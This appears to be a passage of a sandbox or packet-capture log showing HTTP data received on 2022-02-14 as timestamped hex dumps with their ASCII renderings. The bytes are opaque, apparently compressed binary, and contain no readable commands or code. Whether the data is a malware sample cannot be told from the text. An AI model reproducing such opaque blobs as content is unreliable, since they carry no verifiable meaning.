                                                                                                            2022-02-14 07:12:30 UTC192INData Raw: d6 84 19 d5 cb 36 56 d5 cf 31 96 62 af 0f fe 66 8f e3 99 cb b8 e3 9a e1 86 9b fa 76 db 66 7f fe 44 7a 18 7f 52 23 63 e0 3c c1 20 e6 f9 c1 f4 86 06 31 67 ca 72 cb e8 29 a1 ad df 5c ad 47 af 31 79 62 66 ae 47 ca 98 6e d3 76 f3 d3 4d e4 c6 6d 57 df 65 ec 68 7f b4 d9 db 18 55 9a ac 3f 99 1a 77 59 54 22 39 b5 a0 b7 eb 4a 7c 75 7b 56 bf 5d 7c d0 b7 f2 da b8 b7 1a 7f bb 3f da aa ec 2b 9b fb 22 3b b3 9c f2 f9 bd 49 62 a3 a4 5f 7f 97 bf 6d e8 b7 c5 d9 bb 0b e3 6e 85 eb 37 7e 4e d2 30 6d 8c e3 97 02 95 c1 a5 f5 2d 09 d6 bf 5b dc 39 92 e4 e4 18 87 a1 15 bb a7 cd ea 89 df 6e a5 3f ca 9f 3e 39 be 64 56 af 2b 3e 55 5a 78 29 4f e1 4e 96 45 6d d7 ec 81 a9 1c 15 1f 6f d6 e8 68 fc f9 29 97 81 1d da 87 df ed f0 85 ea 06 7b fa 1b 4c f6 0d c4 ab ab 97 26 45 76 f3 aa 27 37 3f
                                                                                                            Data Ascii: 6V1bfvfDzR#c< 1gr)\G1ybfGnvMmWehU?wYT"9J|u{V]|?+";Ib_mn7~N0m-[9n?>9dV+>UZx)ONEmoh){L&Ev'7?
                                                                                                            2022-02-14 07:12:30 UTC208INData Raw: 32 a7 45 8c 83 21 db 69 ac f7 77 80 5c 31 b8 58 9a 87 29 86 40 45 ee 0b 26 5b 89 48 dc dd 30 d1 08 a8 12 a0 c6 44 73 12 c9 4a 9f 41 e6 70 76 b1 9f 38 51 c8 6a 0c 10 83 23 37 3a b2 39 0e 1c 2c 9b 63 01 4f 6c 9b a8 03 8c c9 8f dc 00 5a 12 72 d7 c1 00 73 40 17 07 60 15 82 2c 49 43 54 37 1a f8 86 24 42 22 df 01 c0 e6 90 41 cb 28 4c 92 32 24 8d ac 2d f4 49 db 12 ff 55 0d e4 a2 c1 98 28 b4 85 cd 99 08 07 74 23 f8 4c c0 fd 68 02 48 01 d0 9b ff 23 28 04 52 d0 c0 12 40 8c c4 3a c0 0b 93 03 23 13 16 44 47 3c 3d 88 e6 41 0e 10 86 54 a5 9b 28 7f ff 13 1a 88 00 41 49 03 d0 02 10 e3 8b f5 b4 01 ea a2 df d6 09 01 1d a2 ef 83 9f 3b f3 25 38 40 11 f7 4c f2 e6 d2 19 84 d4 1d 5a ff 23 22 44 c1 15 03 8c 99 d1 cd d6 cd b3 66 4f 6d 0a c1 66 ea f8 1b a4 ca e0 ff 16 0e f8 df c7
                                                                                                            Data Ascii: 2E!iw\1X)@E&[H0DsJApv8Qj#7:9,cOlZrs@`,ICT7$B"A(L2$-IU(t#LhH#(R@:#DG<=AT(AI;%8@LZ#"DfOmf
                                                                                                            2022-02-14 07:12:30 UTC224INData Raw: 55 5a 7c fb 96 67 df ac f5 b3 e2 2f 66 e6 52 0d 3b af e9 96 be bd 95 6d 61 39 66 2c e0 2e a4 d4 0e f5 09 ca 76 a8 48 57 b5 58 7d 8e 6e 59 bb be e9 9a dc 15 ae 1b d3 77 9a f4 a7 fd f7 3d 0f ba 6e d0 70 24 5f ce e6 ef 62 94 d5 33 af 66 e8 38 a7 4c 33 ec a6 e2 cd e6 38 b3 84 97 8e c5 ed c2 a7 7c 6e f1 65 9c b3 92 98 fa 95 54 cd 45 ef 33 45 77 15 8f 64 54 43 2e 19 ba 5e 0e 0a 63 af a8 c6 16 e9 75 63 d9 e4 91 11 dc 06 35 ae 9a 34 bf 29 29 5c 57 da 76 23 d1 30 9a d4 f4 c0 ad c3 6e 5c 7e de 73 17 3f b6 07 d6 f9 68 1e b2 39 fe 16 68 ef 29 f6 9a c2 cf ad 09 bf 41 73 a5 dc dd a5 79 ea 04 a5 9d 2c 8f 6a fa b3 33 9b b9 54 1f ba e7 f1 55 21 ed 98 b3 2f c5 c4 59 45 c6 27 64 56 b7 b9 b6 74 4e 3e 93 f1 ac 37 8f 08 32 be b9 b8 9d f0 8c 2b dd 50 6d ed b3 a8 c9 4f 83 88 5a
                                                                                                            Data Ascii: UZ|g/fR;ma9f,.vHWX}nYw=np$_b3f8L38|neTE3EwdTC.^cuc54))\Wv#0n\~s?h9h)Asy,j3TU!/YE'dVtN>72+PmOZ
                                                                                                            2022-02-14 07:12:30 UTC240INData Raw: 20 73 07 2b 56 06 41 49 3e 4a 20 df 9e 2f 62 6b 02 c3 08 60 ec bc 03 82 c2 13 c3 22 82 f9 81 58 41 10 9f 88 aa 7f b2 20 43 51 14 63 9f 0e 52 35 a2 05 32 05 a4 64 c3 13 d2 52 e1 69 47 53 28 7e 74 2f 43 1a 55 13 06 7e 0d 0a 71 14 42 5b a8 5e b2 22 3f 30 a3 f9 7b 9d ad 3e bd 7b 7c f8 85 7e 79 eb 86 b0 08 43 e2 f9 47 8a 77 54 12 f2 8d e5 f7 ee b8 dd 12 98 2b e2 5d 7c db 7b 48 ec 68 f8 01 28 b0 3a 73 87 97 16 53 f8 6f cd 59 ed a2 08 01 54 9d 86 82 4a e8 8b ae 0f bc 89 bf 53 df 1f 7f 8c 77 32 df c2 a9 48 9a 37 dc 5e a7 be b1 7d b9 6a 5f d2 d5 18 ac 4f a3 d3 a3 51 07 b7 81 d8 d2 f1 75 d2 e3 7d 03 93 25 84 a3 38 56 ea e7 06 d7 66 2f 0d e9 53 49 cf 5c fa 0e 55 6c 1a ec 9f 52 a6 6f 9a cd 1c d9 bf 39 c5 d2 cb aa 6f 86 61 b5 78 64 eb 5e 4c 8e 6c be e3 13 21 fc 43 fa
                                                                                                            Data Ascii: s+VAI>J /bk`"XA CQcR52dRiGS(~t/CU~qB[^"?0{>{|~yCGwT+]|{Hh(:sSoYTJSw2H7^}j_OQu}%8Vf/SI\UlRo9oaxd^Ll!C
                                                                                                            2022-02-14 07:12:30 UTC256INData Raw: f3 e6 97 2c de 19 cf cf 4b 2a bf 76 2e dd e1 35 e8 ec 3d 2d 6c 85 a7 1b 8e 0f cc 26 f5 2f f2 cd 89 7f 7e 75 ae f8 89 1f a7 fb 01 fb c4 a7 be 2d 66 df 3a a6 1b fb ba 19 54 cb 0f 02 67 f6 95 dc ea ea 5d bd 3e bc 02 91 3b 01 a0 17 22 78 81 90 00 df ff 10 02 cf 7f 3f fe 57 d5 00 f2 0b 52 a7 8e c8 d0 23 b9 02 f0 98 96 06 40 c2 97 5c 98 14 98 b4 21 d9 fb 6a 6f 10 f1 19 75 06 52 3a 08 06 6c 29 64 d8 fc 86 48 4e 58 30 cf b5 ce 21 11 88 1c 07 74 58 c0 0e 10 e3 20 2f 1c 09 8b 8a 27 20 1d f6 dc 73 89 40 9d eb ea e7 b0 21 24 49 0d 30 78 09 04 1c 5d 9f bd 07 70 1c e2 c1 3d 1c b7 c3 21 99 0a 83 4d 37 a7 1d 62 43 30 c6 71 d8 47 38 c0 ac 1c 06 bc 0b 88 66 fe a4 39 0c 54 9e c6 78 29 64 9e 30 38 e5 fa 61 89 18 23 c6 00 8d 3a 60 17 ec c9 e2 ea ea af e3 7a 02 60 52 82 84 36
                                                                                                            Data Ascii: ,K*v.5=-l&/~u-f:Tg]>;"x?WR#@\!jouR:l)dHNX0!tX /' s@!$I0x]p=!M7bC0qG8f9Tx)d08a#:`z`R6
                                                                                                            2022-02-14 07:12:30 UTC272INData Raw: ad a6 7a f2 f2 80 5f 55 67 d3 f3 be a1 4d 12 a4 be 1d bb de 0f 7c 63 06 31 8e 58 7b ef 97 c8 e9 78 5c 98 15 7e fe 95 4d ca f1 31 2b 2e d7 c3 b6 f9 e4 fa 8d ad e1 b6 61 3f 1f 13 ad 1a 33 74 38 90 91 65 68 e5 a2 ad 7e f5 f4 35 23 b5 92 97 52 e6 33 75 7e 5f c6 72 ba 7f da de e8 b9 ba d7 ed cd d7 12 b3 28 8f 34 eb 77 af 1e 3c 2b fd f0 4d 24 e0 99 75 5d ca d3 c6 73 8f ea e4 ed bc 75 e4 52 ee 47 fc fe 2c 43 48 1c 6b 54 ea cb 96 1f bf 5f 6a 40 d9 7f 02 d7 dc c0 54 dd dc c8 f4 52 96 0c fb 6d bc 79 54 38 4c 65 fb b3 6e 0e e3 2f ce 86 c1 96 83 ed a6 85 a9 df 55 25 87 7c 0a 75 7b 2a 5f a5 45 5d 30 56 e5 3f e7 69 26 7a c0 39 fb 0e 67 35 8e d3 b1 e6 bb 9b f4 76 94 55 50 c0 54 9c 5f ce a7 8a f5 7a 59 2b da 39 93 b5 26 e2 e7 d7 ee 79 f9 97 3a 15 fd 58 27 24 f0 61 27 65
                                                                                                            Data Ascii: z_UgM|c1X{x\~M1+.a?3t8eh~5#R3u~_r(4w<+M$u]suRG,CHkT_j@TRmyT8Len/U%|u{*_E]0V?i&z9g5vUPT_zY+9&y:X'$a'e
                                                                                                            2022-02-14 07:12:30 UTC288INData Raw: 80 fc 29 fd 44 02 44 94 62 93 21 11 48 97 04 10 fd 06 21 f8 bc 4e 54 02 8c ff b2 18 40 8c 87 90 98 3d d2 d4 07 26 55 51 30 ce 6f 27 38 11 88 80 8c 66 41 d4 7d 04 00 9b f1 b0 f5 3f c5 e1 1e e2 f6 24 12 60 38 84 e2 91 72 4d 2e c7 83 4b ee 30 85 98 66 38 a4 63 24 0a 6b 69 0b 03 36 d0 26 70 b8 54 20 07 d1 21 a4 2c 93 d1 9a 82 a5 da 22 71 23 32 97 e3 c5 85 41 99 93 07 b8 3c c1 28 5d 9c b3 13 44 82 af 3d 60 23 c1 dc 28 c4 03 3e 06 ad 92 d1 48 72 03 50 9a e5 35 aa 36 97 33 80 ce 81 49 49 06 50 ee 19 3a 84 e2 f2 1a 0e 01 90 d4 2f 01 2c a5 e1 fd 5f 91 4e 95 30 29 30 ef e7 04 49 ce 19 67 60 fd 70 9a 00 9c 83 20 b2 3c e9 33 2f 34 50 0c 69 54 3d a1 f0 54 05 83 5b e0 e7 aa 16 74 d0 dd c9 39 a9 f2 3e b7 41 43 de d2 7f 11 82 c1 01 a0 cb b4 bd 41 c4 99 f9 d6 b5 c5 c9 3d
                                                                                                            Data Ascii: )DDb!H!NT@=&UQ0o'8fA}?$`8rM.K0f8c$ki6&pT !,"q#2A<(]D=`#(>HrP563IIP:/,_N0)0Ig`p <3/4PiT=T[t9>ACA=
                                                                                                            2022-02-14 07:12:30 UTC304INData Raw: 84 7f 2d ec d1 a1 72 28 71 26 e0 57 97 aa 8d 7f f2 cf a4 57 7b 26 7a ef ab 37 3c e1 b4 85 c8 c5 c5 1e 6a b5 cd 35 f5 ec 50 b3 2a 6e d0 6f 27 da 28 6d fc da 34 25 70 f7 12 fa 28 f5 1b 76 24 c3 85 7e 86 ef 45 88 c2 de 19 61 a9 7d ea b6 ed db 24 bc d1 6b 93 24 07 4d 37 7a 38 47 37 ea 77 9c 59 2f f2 56 ba bc be d6 48 4f 6f 2a cd c1 f3 d5 c7 ca 37 3f 54 33 b3 5e 44 18 ee 11 3a ce c3 6b f0 91 41 f2 e9 f3 f8 7b c6 94 b9 0b b6 9f ca bb 08 1d f2 34 85 9d 35 cb da 11 77 67 7f f7 fd 4c b9 2e e6 bd 09 9f 77 fc d6 26 49 79 8c a8 d6 26 f1 72 9f 98 c3 7b 83 6d 47 74 e6 3b 3e 47 e4 17 bf 09 95 d7 1a 68 10 95 f8 b0 21 34 f6 33 07 ef e5 79 37 41 a1 68 f7 e5 d6 3a c7 4f ef ad fa 2b 95 5c ee 38 ad d3 4e 95 f9 b3 65 d7 bb 45 ff db eb 1e 64 bb 6f b6 bc a1 23 f8 ed ec f1 1b 95
                                                                                                            Data Ascii: -r(q&WW{&z7<j5P*no'(m4%p(v$~Ea}$k$M7z8G7wY/VHOo*7?T3^D:kA{45wgL.w&Iy&r{mGt;>Gh!43y7Ah:O+\8NeEdo#
                                                                                                            2022-02-14 07:12:30 UTC320INData Raw: 24 44 f8 b3 2c 01 54 88 f2 f5 a7 05 82 c2 70 53 33 c8 51 a4 c8 59 8e cf 21 cd 56 47 36 2a 39 4b 08 18 66 47 00 61 a8 70 b4 43 cf 02 ed ad 4f d6 b3 60 52 18 16 16 94 0e 5b 4a 0a 45 df 33 e8 7c 87 9e de 5a 49 c1 24 e1 22 f6 ca 2b 03 eb e2 e9 8a e2 2f 8f ec dc 07 55 e7 0b 25 be dd b6 7c 30 93 a3 b4 fd 80 c8 86 d1 51 2d b7 fa ca 46 f9 2f 16 95 6f 82 fc 8d ee 91 de 07 5d ac 7e 57 71 32 6d 30 bd e8 49 77 cf 61 41 15 df f5 36 7b 86 cc f6 ab 3e 13 d2 9b f9 fc f1 9d 4f 6e 9e 42 5b fd c9 e3 db e4 7f 8c 08 6a 58 bc d4 8e 9f 78 34 b2 eb d8 c9 49 4d 8b 7d 6c 5b ba f4 78 4d 6d d6 19 91 ab 41 1b bd 87 1f 1e 0a 36 29 ff e4 ef 43 0b 18 9f 38 1f 9d aa 7e 6f 41 11 fd 52 aa b9 a9 6b 3c f6 6a af c7 40 b4 93 c2 b7 6f 9b fa a4 2b 3e da 06 ce 88 b1 4b 09 83 a9 71 17 7c 95 84 9e
                                                                                                            Data Ascii: $D,TpS3QY!VG6*9KfGapCO`R[JE3|ZI$"+/U%|0Q-F/o]~Wq2m0IwaA6{>OnB[jXx4IM}l[xMmA6)C8~oARk<j@o+>Kq|
                                                                                                            2022-02-14 07:12:30 UTC336INData Raw: ae 64 d3 d7 94 4f a7 f6 6f 2f 1a 33 5b 76 e7 41 c9 45 8e 7b b9 35 b7 1e 4d 55 2c ec bb 10 7f fb cd 59 f5 a7 0a fe 53 3d 1f 0c b8 72 76 89 07 55 76 94 57 4c 0c 1c 95 c6 ad f1 fe c9 35 b4 7b 78 2c 33 26 32 7c cd c7 1a 4c bb 9c dc c3 77 ea 92 77 2f fd 09 dc 69 70 f7 c9 fe 65 a6 1a f4 80 be d5 61 6d b3 e6 f0 8b fd cb f9 56 5f 9d 77 26 de fd e3 6a 6f f4 b6 f9 e5 a9 4e ee 7d ed 50 b7 fd f0 d2 ac 03 00 35 18 31 e6 69 30 be 23 1d 08 91 5e 03 ce ff f1 10 fc 2f 41 21 63 24 96 6f 22 47 80 80 36 86 02 49 20 cd 84 f4 ec f5 a4 80 4d 3f 3f c6 ff a8 80 c4 ef c1 5f 40 c2 bb 64 1a 5b 01 18 35 8c 4d c8 80 cd e3 6e 41 4c 56 68 09 05 78 74 7b ba 94 16 0c 72 63 de 14 80 f6 a1 90 27 30 2c 7e b2 9e 0b 03 bb 0c 60 2b 10 b1 ce 01 03 0d c8 07 b8 90 87 21 2d 71 08 22 5b bb 91 a0 58
                                                                                                            Data Ascii: dOo/3[vAE{5MU,YS=rvUvWL5{x,3&2|Lww/ipeamV_w&joN}P51i0#^/A!c$o"G6I M??_@d[5MnALVhxt{rc'0,~`+!-q"[X
                                                                                                            2022-02-14 07:12:30 UTC352INData Raw: 9b 8b ae 62 eb b5 53 89 a9 f9 28 8b 3d c5 58 b5 87 de 3f cc 2c 9b 80 72 6a 71 7b c2 ef dd df 1f 9e be 8a c9 e6 fe 2a 7d fc 36 5e 6f c1 51 24 f1 a8 87 6c b0 1f 57 5f d7 f7 39 e3 83 ce c0 98 ee c7 74 bf b4 0e ad 2d 87 ef 3d c2 2f ef fb 03 35 a2 9e f9 05 7e fa de f6 62 19 7f 32 2f 31 56 e1 e7 6e 61 81 64 f5 e9 ef f4 88 fb 97 5d 2e 3d 25 10 2d 21 23 aa e4 61 b7 42 79 01 a7 de 4c 79 99 a3 95 46 ed e6 af ff 9c 4d f8 72 92 f8 60 ca f1 79 75 3c 26 96 6a 26 71 dd fc 16 18 10 fb 19 a9 83 d9 b6 29 7d 05 75 78 cb 85 a5 43 e9 e5 31 3d 31 57 ae 99 70 62 a3 fd 84 e8 cc 4b 17 5d 94 b3 e2 17 4f 86 32 c4 5e 49 09 eb fa 7f 6a 72 1d 97 c9 aa ec d8 35 16 5a 15 39 b6 f8 7b 5d 84 c1 e7 c6 72 43 35 94 f2 09 a7 e6 9a 5b 9b 2f d7 17 1e b7 b9 7c f2 d7 4a f3 d8 b3 99 5d 7a bb 76 1f
                                                                                                            Data Ascii: bS(=X?,rjq{*}6^oQ$lW_9t-=/5~b2/1Vnad].=%-!#aByLyFMr`yu<&j&q)}uxC1=1WpbK]O2^Ijr5Z9{]rC5[/|J]zv
                                                                                                            2022-02-14 07:12:30 UTC368INData Raw: 40 74 63 fe b0 09 5a ed 05 db d6 48 e2 1b 06 eb d1 ae 4e 32 f1 c3 fb e8 61 30 24 e8 26 62 79 0b 33 40 3c 20 fb 49 42 84 78 a0 45 85 2d f4 0d 37 bb 89 3e b2 28 04 e0 ba d1 56 18 40 62 48 98 60 1a 26 01 24 15 21 0d 12 12 1a 30 c7 02 0a 85 86 c7 89 10 20 0d 78 5b 4f db 9c 84 63 8f be 65 31 d0 7a 80 7d 52 98 8d 24 45 ce a2 41 e0 3f 37 fe 0b 0f d6 f0 23 36 70 15 25 00 71 16 0c c6 ec 45 c4 5d 8f e4 28 30 80 be 1a 02 d8 f0 04 ab 36 74 79 e0 0b a2 c5 59 cc ab 5e 24 02 52 fa 48 bc 85 78 50 e0 47 92 8e 07 c4 8c 09 6f 3f 65 40 41 fa 17 fc 0b 25 00 8a 49 2c 3c 8c 69 04 a4 43 00 09 24 39 3b f8 0f 07 2a 42 d4 50 1e f0 04 e3 21 88 11 8f 3c 97 37 1b f3 31 47 b4 04 7c 71 46 48 a8 c5 13 d7 4c 89 b2 22 20 01 a3 0d 02 84 62 82 25 13 9c 17 52 16 f8 87 64 87 c3 ac 62 ac 3d 11
                                                                                                            Data Ascii: @tcZHN2a0$&by3@< IBxE-7>(V@bH`&$!0 x[Oce1z}R$EA?7#6p%qE](06tyY^$RHxPGo?e@A%I,<iC$9;*BP!<71G|qFHL" b%Rdb=
                                                                                                            2022-02-14 07:12:30 UTC384INData Raw: a5 f2 02 c7 f4 28 33 eb 58 d5 9c 13 96 d9 5b 96 e4 23 2d 3f 9c 60 71 1c f6 79 3b e6 e1 09 06 ff f4 9f ad d1 e9 7a c3 b1 24 39 f4 45 74 67 f2 da 25 8f d4 b3 ef 05 d6 34 46 0e 9f 42 09 da 1e 7a 8d 72 d3 35 2a 1c 1a 19 9a c9 13 f1 e6 1a 19 e4 15 4e 71 8e 5c 2f 29 91 85 7e 3c 74 e7 3c 39 d8 d3 30 ec bc d9 02 7b 65 24 a0 3c a7 f1 ea cf 50 b9 ad c1 12 43 4b 67 1f ec cf c9 95 88 07 d8 4d 01 74 6f 89 3d 4f 9c be d3 f0 b1 57 ad fc 0a be 65 ad ea 05 f9 3d b0 ae da 52 b0 ff fe 1f be c2 c5 a4 b4 57 3c 8d 6f e7 24 ab be fb cd 67 e8 8f 14 dc 5d ea 56 0f 4a 48 c3 75 df 16 bf af f6 f4 b7 a3 b4 6d ea d8 e9 f8 cf 76 8e 9b 5f 1f 71 79 f0 f2 e2 51 6a 1f 96 eb d5 1e a5 6d 36 de 83 77 56 5c 0b 8e 11 3f 2f 58 bb 35 5d da 2c fc ed eb 9b 57 37 4b 70 73 57 fd e9 fb cc 69 cb aa 3a
                                                                                                            Data Ascii: (3X[#-?`qy;z$9Etg%4FBzr5*Nq\/)~<t<90{e$<PCKgMto=OWe=RW<o$g]VJHumv_qyQjm6wV\?/X5],W7KpsWi:
                                                                                                            2022-02-14 07:12:30 UTC400INData Raw: 26 8a 84 06 40 88 23 dd 2b 58 c3 88 87 d7 c2 37 3b 88 db 22 25 3b 58 ca 24 2d c5 23 8d 9f df cb 25 c1 48 45 3a c8 17 50 0d 51 69 36 b9 82 50 a0 ab 0d f0 14 c8 05 29 09 61 90 9c 15 c8 72 94 71 f3 15 ce 84 54 cd 00 67 42 7c 50 3c 5f 4c 02 87 20 52 35 40 82 f4 b7 11 d1 0c ba 8b be 89 aa aa 25 83 61 44 f2 b1 72 35 31 d2 c3 05 76 e8 fb fa 06 a7 d4 0e 6f fa 6b c9 c2 62 35 eb e5 ce 0c 81 f1 c9 c1 b8 23 e6 79 6e fc ed 4e 58 7c 46 d5 66 e3 fd 6a fe 5f de 91 4c 59 5f 5f 27 a4 6e d2 94 fd bd 14 dd 68 50 9a ec 31 96 a6 4a 5e a8 74 fc 7e 5a fb f3 ab c0 b3 77 17 16 55 74 8f e6 bc 13 27 5a 88 ae 82 b6 ef fe 41 64 9b b9 78 39 d3 e3 f9 a5 f9 7f 8f 3b 5e 38 b8 5b d2 7e 76 fb a7 b6 0b cf 0a 08 d1 a6 df 1d 4d 46 73 8b 95 7e 14 9c 15 74 bf d6 30 ae 7d f7 ee fd de b1 cf c5 13
                                                                                                            Data Ascii: &@#+X7;"%;X$-#%HE:PQi6P)arqTgB|P<_L R5@%aDr51vokb5#ynNX|Ffj_LY__'nhP1J^t~ZwUt'ZAdx9;^8[~vMFs~t0}
                                                                                                            2022-02-14 07:12:30 UTC416INData Raw: 1c 32 15 9d 99 75 fe 5b b0 70 45 28 29 26 ff 28 57 d3 53 78 c7 db a2 7b d5 63 51 e3 2d b4 ad 35 d9 f9 84 c5 92 19 fa de 6d d9 57 76 2a 9f 46 55 cd 07 57 36 44 0d 1a 7f bb 24 7f f1 62 e5 e8 fb e6 ba ed 3d aa 7b df fb fd fc f8 26 93 e7 fd ee 19 d7 ba d1 fe d1 9b ef b7 ad 2e 04 ef bb 33 77 e6 45 5d 9d c9 c1 b7 1b 0f 08 97 99 3d ac 79 6b 79 b3 d3 cc 44 82 c4 77 5a bc 78 6e ab 8a 7b fd ef c3 a8 3f 34 c9 64 42 62 84 fc 9b a1 7b 0a 19 05 98 3b 95 eb 0e 09 5f cf 58 9f 7a e0 33 35 59 fb 0a d6 d1 e4 ed 39 20 74 a9 fc 5d 7e e9 47 cd d5 56 7f 76 60 a5 e2 bf f6 49 4c af 2b f6 ab 9a a9 f7 f2 dd 31 ee b3 78 c6 66 cf e8 c9 f4 b2 07 ec d3 b6 f1 5b 01 18 85 20 aa a0 aa 0b fe 11 ac 0a 44 03 2e 68 8d f8 bf 43 03 5e 18 22 a0 21 a0 eb 83 b4 bb b5 c1 81 90 21 98 1d 78 40 88 a1
                                                                                                            Data Ascii: 2u[pE()&(WSx{cQ-5mWv*FUW6D$b={&.3wE]=ykyDwZxn{?4dBb{;_Xz35Y9 t]~GVv`IL+1xf[ D.hC^"!!x@
                                                                                                            2022-02-14 07:12:30 UTC432INData Raw: be b4 33 ce 57 4b f7 ba bb 87 7c e6 a6 f7 15 26 1e f1 8d 4b 74 be 1a 1d 7f 9e 9b 31 a6 15 78 36 68 b2 46 96 56 62 f4 40 eb 3e 38 fb 29 b7 e2 7e 3d da e0 f1 7b 8d 92 2d f5 7b 9f c5 89 ce 35 dd ac 7e 16 bc f6 1e d9 a6 f3 d9 4c 14 0b d7 fa fb bd f6 a7 c1 1b 5f 52 86 98 37 74 29 63 41 ae cb db c7 33 ae 3b c7 de 3f d8 54 2e 67 ee 01 79 5d 5d 65 77 7d e6 5a af 70 e3 07 19 17 a5 b7 ec c6 b9 65 95 ce 5b ec 15 b8 0e 71 ae 97 f9 49 fd e8 b4 e8 be 3d 35 b3 f4 63 57 dc 22 17 be 30 de ed b9 51 c2 b1 5f 93 fc dc cd 50 7d ee 63 45 53 f1 43 cf ca e2 86 9d 6f 5f 8e 1f ca 8f fb d3 bd e3 2e e0 0b fd 32 2c 0b 37 f4 ba 33 cd fd 73 76 d7 69 46 5d a5 8d cf 29 2b 61 19 ea e3 14 b5 e0 db bb 7f cf 41 ed 1b af 7e 3b 8b 1d ca 1d fd 9a f6 bb c5 7e 1a 6b fa d9 8a d6 70 27 cb 13 4f a9
                                                                                                            Data Ascii: 3WK|&Kt1x6hFVb@>8)~={-{5~L_R7t)cA3;?T.gy]]ew}Zpe[qI=5cW"0Q_P}cESCo_.2,73sviF])+aA~;~kp'O
                                                                                                            2022-02-14 07:12:30 UTC448INData Raw: 12 54 c2 20 00 cc f5 7f 0b 46 44 90 50 80 fd 9e 84 b8 cd 3d e1 39 c3 20 e1 86 10 08 3b 00 2c 90 6e 81 ee 48 f2 20 cd 0a 98 5b 22 e2 02 31 50 30 06 8b 08 04 59 20 d7 f5 bc 86 01 78 71 7f 22 00 f9 4c 08 c0 13 f2 dc 43 32 95 b6 87 1a 31 58 22 a5 55 15 1e 6c 09 26 43 04 9e 1b 1b 6c 06 eb 10 80 17 01 e8 54 1e 0d b1 c8 e1 7d 88 23 c3 e0 fa 10 63 e7 01 11 67 49 2c 27 34 40 25 59 9a c1 9f 1b c3 c4 e8 dd 17 0c 1b 61 67 64 73 78 fe 32 08 78 93 80 af b1 b8 3f 38 86 f4 35 40 b8 49 ca 3f ad 85 6c 3a d8 8c 94 3e 3a 50 ed be 43 14 93 41 78 fe 18 8b 58 5b 04 ec 7d 09 30 e8 aa 03 28 0a d1 1b 80 ad f9 1a 00 5c ac e1 31 09 6f e8 c4 d5 d0 00 a3 89 4c 1a 3c 06 78 83 61 48 33 21 80 ba 2d 85 e2 39 a0 20 26 12 7a 40 3c 2e c8 f8 96 75 71 64 78 cf 49 aa 30 09 38 e4 46 a5 82 20 0c
                                                                                                            Data Ascii: T FDP=9 ;,nH ["1P0Y xq"LC21X"Ul&ClT}#cgI,'4@%Yagdsx2x?85@I?l:>:PCAxX[}0(\1oL<xaH3!-9 &z@<.uqdxI08F
                                                                                                            2022-02-14 07:12:30 UTC464INData Raw: 59 db 89 57 f7 be bb fb 9b 7f 52 ea 9e 3b 7f dc 41 4a 9f 9b a7 bd d9 d0 a4 c1 fc 51 d7 3d 11 e3 11 0d 9e 2e 25 89 39 77 1c ae 28 d4 9e 7b ad 7a b5 d8 0c 2f b9 90 d5 22 d2 1c fd ee eb fb 33 1b fe f6 91 bf 25 3b f7 3a 9b c4 6f 9a fd 4a df 3a 94 f7 f6 bb e2 2d 8b 7b 9b f5 ff 6e ff 12 6b be 6e 7f 87 b8 53 88 fb e0 bb c9 3b f3 5f b9 6d 19 09 8f d2 02 d3 77 8a 94 ee d1 52 98 a2 bd 93 d5 bf 9f f0 20 7e 27 8f 5f 4b b8 8d fb 1d 2b fc 7d 4a ce 42 2c 76 c3 26 b4 56 93 e2 f9 b0 81 40 14 77 48 29 a3 46 7d cf e0 81 5a 3f f1 f4 93 cb e4 08 15 8b 0c c7 12 aa 6a 03 16 bb 12 5b 41 fb 63 96 70 8e ab e5 58 99 f3 a5 e5 e4 ee 67 cb b6 0d 2f 7a e5 6f 73 9b da 83 a6 44 8a 82 f6 da 0d e7 ee 0a 7d 12 a9 da 52 b6 57 fc 46 76 bb ec 1a 89 7a 9b 9c c8 f7 5d e9 23 4f 1d dc d5 e9 27 8b
                                                                                                            Data Ascii: YWR;AJQ=.%9w({z/"3%;:oJ:-{nknS;_mwR ~'_K+}JB,v&V@wH)F}Z?j[AcpXg/zosD}RWFvz]#O'
                                                                                                            2022-02-14 07:12:30 UTC480INData Raw: 7b 15 78 31 09 95 b5 58 6d a6 6e f4 56 4d a4 22 e0 9f 66 00 19 18 bb 37 82 1a 0a 1f cd de 38 95 1a d9 bb 22 53 09 86 97 86 b8 21 03 3c c0 73 ea fe ff 90 00 3c f7 fc 88 e6 67 cf 8b 60 3e c3 01 02 ea 71 12 9b 62 b4 e1 47 32 04 4a 09 b2 ce a5 2a 44 e6 85 65 65 c2 bc 38 29 59 5e 67 53 41 60 a8 75 58 12 48 4c c1 42 aa 56 19 f6 05 ca 2e 00 f2 54 88 0d 41 85 59 15 48 c6 e7 40 f1 10 5e 2a 90 e9 ed 67 66 0f 85 a5 89 c6 1a d3 23 f3 0a 08 0e 7c a1 bc da 71 8a 49 bc 79 d9 b4 c4 84 d6 91 d5 09 5d 46 30 5d 18 02 ee 24 c0 f0 1d c2 91 64 48 a9 44 9c 19 79 d6 dd 89 28 a8 41 f3 a3 51 a8 54 3f 96 56 a9 df bb b1 bd e2 ab 2c fd 91 a6 ed 06 e7 f6 fe 79 ae d3 50 5d d1 a1 db 15 fe e9 fc 8d f5 a5 9f 8a 89 57 6b 0e 5f 6f 5a 76 db 53 7c 80 37 27 f3 76 77 6c 8b a9 92 f0 ef 4a 30 ce
                                                                                                            Data Ascii: {x1XmnVM"f78"S!<s<g`>qbG2J*Dee8)Y^gSA`uXHLBV.TAYH@^*gf#|qIy]F0]$dHDy(AQT?V,yP]Wk_oZvS|7'vwlJ0
                                                                                                            2022-02-14 07:12:30 UTC496INData Raw: c5 c7 c1 42 8f 3e 6b d7 68 b9 ed cc d1 f8 12 5b 7a eb 8b a9 a9 10 2b 5d 99 27 2d d2 4c 78 e1 83 5a d3 93 5d 9b 7e 4e ff fc d4 a4 5d ee 3d 6c 13 45 3d fe 6e 66 7f cc 80 b7 43 8d 81 61 4d ed 5a 95 69 ad ee 7b c3 3b 37 a3 23 2a 1c 7f 4e 8f d8 46 09 05 a5 ed f1 fd a2 ea 68 1d a8 f1 5d 7c 26 75 b4 e8 ea de 76 9b 73 b7 7e 26 55 94 36 c8 e0 83 29 a3 d7 4b de f9 a9 18 a2 79 f8 be 14 31 47 a3 9e 19 6f 20 1e 7f f0 f6 29 37 34 00 c1 36 fe bf fc 00 61 f8 1d 1e 0e bf 44 d3 65 e0 83 ff d0 80 ff f4 1a 08 e1 22 1a fd 5f 99 1f 40 61 35 03 ac 95 50 1c 0e 52 13 8f 80 8a 0a 19 cb 23 61 0b 64 90 8b ac 0c 28 24 3c 7c 0d 69 38 07 b6 20 91 eb 5b f1 18 00 b5 18 24 a8 b9 e9 ba c4 c7 e9 11 ad 45 ac 29 00 ff af 15 af 25 a2 